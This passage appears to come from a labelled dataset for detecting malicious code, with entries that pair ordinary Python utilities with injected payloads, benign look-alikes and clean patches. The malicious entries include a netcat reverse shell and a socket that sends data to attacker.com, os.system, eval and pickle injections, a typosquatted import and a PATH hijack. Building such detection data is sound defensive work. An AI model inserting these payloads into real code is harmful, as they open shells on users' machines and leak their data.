pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_9b66e647", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_7dec3a3d", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_734c2562", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_36bfde37", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c39c12b3", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_db02ceed", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f73fcd74", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d16e09bb", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_06686d8f", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1d33ddf0", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_ecce36b9", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_867faaf0", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8c004002", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_2d7e867b", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_955d38b4", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_fe682a98", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_142067a5", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7c50e245", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_fc8c9786", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8cc8b4f1", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_18cf56e4", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_986e6aaf", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_faf031c9", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_9c03bbda", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_867c4623", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_bde9bfdd", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_9a857f10", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_09cc293b", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_a456f2a5", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4ecaba17", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_fb7b7c4c", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_0ccef107", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_031d24b3", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_85b2798c", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_a0df45c3", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_7760f850", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_fc559261", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_9336edbe", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b7d05612", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_eff9b5c2", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2281224a", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_d7f9429d", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f9587f02", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f76e06e6", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_55519724", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_be021f03", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_39cb7bdc", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_036ed444", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_a33b50f6", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_5a0a341c", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_29f54e08", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef parse_logs(log_lines):\n 